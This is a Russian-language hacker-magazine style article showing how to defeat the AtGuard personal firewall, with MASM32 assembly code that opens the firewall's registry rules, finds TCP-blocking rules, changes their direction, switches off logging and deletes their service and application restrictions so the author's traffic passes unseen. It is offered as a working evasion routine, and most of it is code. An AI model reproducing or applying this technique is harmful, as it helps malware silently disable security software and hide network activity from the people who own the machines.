Все начиналось с того, что я однажды родился. Я очень скоро узнал, что все на свете мне нельзя. Нельзя похачить мне сервак, нельзя использовать мне Napster, и нельзя на километр приближаться к Биллу Гейтсу ..... =)

Как сказал Гагарин - ПОЕХАЛИ !

Сегодня мой маленький друг я расскажу тебе сказку о .... Хотя ты уже должен был бы подрасти, если конечно читал мои прошлые статьи =). Ну да ладно, сегодня я поведую вам о том, как обойти AtGuard-a ( есть такой firewall) ). Достаточно известная вещь и многие им пользуются. В статье я приведу пример своего кода на языке АССЕМБЛЕР, а именно MASM32. Хочу сразу сказать, что учу я его не давно, так же как и WIN API функции, и если вы вдруг найдете у меня ошибки, то сообщите мне о них. И вот еще,не надо мне писать, что мой код не оптимизирован, я это сам знаю, это было сделанно для простоты его понимания.

AtGuard в своей работе очень активно использует реестр, ( я это выяснил с помощью утилиты Regmon ) все свои настройки он содержит там, в том числе и FireWall Rule. В реестре это выглядит примерно так:

Код:
-IPFilterRules
|
|---Rule0
|---Rule1
|---Rule2
|---Rule3
|---Rule4

В каждом из этих RuleXX содержится информация о том, какие пакеты могут проходить через firewall, а какие нет. Основные вещи которые нас интересуют в этих Rule:
-- RuleAction ( запрет/разрешение на прохождение пакетов )
и
-- RuleProtocol ( отвечает за используемый протокол для этого Rule )

Если при сканирование этих параметров мы встретим RuleAction раным 2, а RuleProtocol равным 6 то это то что на надо ! Далее, мы изменяем/стираем некоторые значения, для того что бы наши пакеты могли проходить сквозь firewall.А вот собственно и сам код:

Код:
.data

RuleAction db "RuleAction",0 ; см. выше 
RuleDirect db "RuleDirection",0 ; Направление пакетов 
RuleProt db "RuleProtocol",0 ; см. выше
RuleLog db "RuleLogging",0 ; Запись в лог
RuleLocal db "RuleLocalServiceObject",0 ; Local Service
RuleRemote db "RuleRemoteServiceObject",0 ; Remote Service
RuleApp db "RuleApplicationObject",0 ; Какая программа это правило использует

dwRuleDir dd 00000003H
dwRuleLog dd 00000000H

ReeFltPath db "SoftwareWRQIAMFirewallObjectsIPFilterRules",0 
	;Путь по дефаулту до firewalla в реестре
dwIndex dd 0
lpszName db 50 dup(?)
dwNameLen dd SIZEOF lpszName
NewKey dd ?
ReeSizeDW dd ?
ReeGotcha dd ?
phKey dd ?
lpdwDisp dd ?
ReeSizeDW dd ?
DWSize equ 4

.code

;
; Открываем ключ в реестре ..... IPFilterRules
;

invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, ADDR ReeFltPath, NULL,
	KEY_ALL_ACCESS, ADDR phKey
.IF eax == ERROR_SUCCESS

;
; Функиця перечисляет подключи указанного открытого ключа ( Rule1, Rule2 .... )
;

Recycle:
mov dwNameLen,50
invoke RegEnumKeyEx, phKey, dwIndex, ADDR lpszName,
	ADDR dwNameLen, NULL, NULL, NULL, NULL
.IF eax != ERROR_NO_MORE_ITEMS
inc dwIndex

;
; Открываем найденный ключ
;

FuckGuard:
invoke RegOpenKeyEx, phKey, ADDR lpszName, NULL, KEY_ALL_ACCESS, ADDR NewKey
.IF eax == ERROR_SUCCESS
mov eax,REG_DWORD
mov lpdwDisp,eax

;
; и проверяем значения
;

invoke RegQueryValueEx, NewKey, ADDR RuleAction, NULL, ADDR lpdwDisp,
	ADDR ReeGotcha, ADDR ReeSizeDW
mov eax,ReeGotcha
.IF eax == 2
invoke RegQueryValueEx, NewKey, ADDR RuleProt, NULL, ADDR lpdwDisp,
	ADDR ReeGotcha, ADDR ReeSizeDW
mov eax,ReeGotcha
.IF eax == 6

;
; ( MessageBox тут для дебага =)
;

invoke MessageBox, NULL, ADDR lpszName, ADDR AppName, MB_OK

;
; Если нам все подошло, то немного отредактируем некоторые значени ..
;

invoke RegSetValueEx, NewKey, ADDR RuleDirect, NULL, REG_DWORD_LITTLE_ENDIAN,
	ADDR dwRuleDir,DWSize
invoke RegSetValueEx, NewKey, ADDR RuleLog, NULL, REG_DWORD_LITTLE_ENDIAN,
	ADDR dwRuleLog,DWSize
invoke RegDeleteValue, NewKey, ADDR RuleLocal
invoke RegDeleteValue, NewKey, ADDR RuleRemote
invoke RegDeleteValue, NewKey, ADDR RuleApp
invoke RegCloseKey, NewKey
invoke RegCloseKey, phKey
jmp InitSocket

;
; и на выход 
;

.ENDIF
.ENDIF
.ENDIF
invoke RegCloseKey, NewKey

;
; Если ничего не нашли в одном из Rule то идем на следующий
;
jmp Recycle
.ENDIF
invoke RegCloseKey, phKey
.ENDIF

[+] Я рад что работает =)
[-] Почему то все начинает работать только после ребута
Сообственно говоря это все
.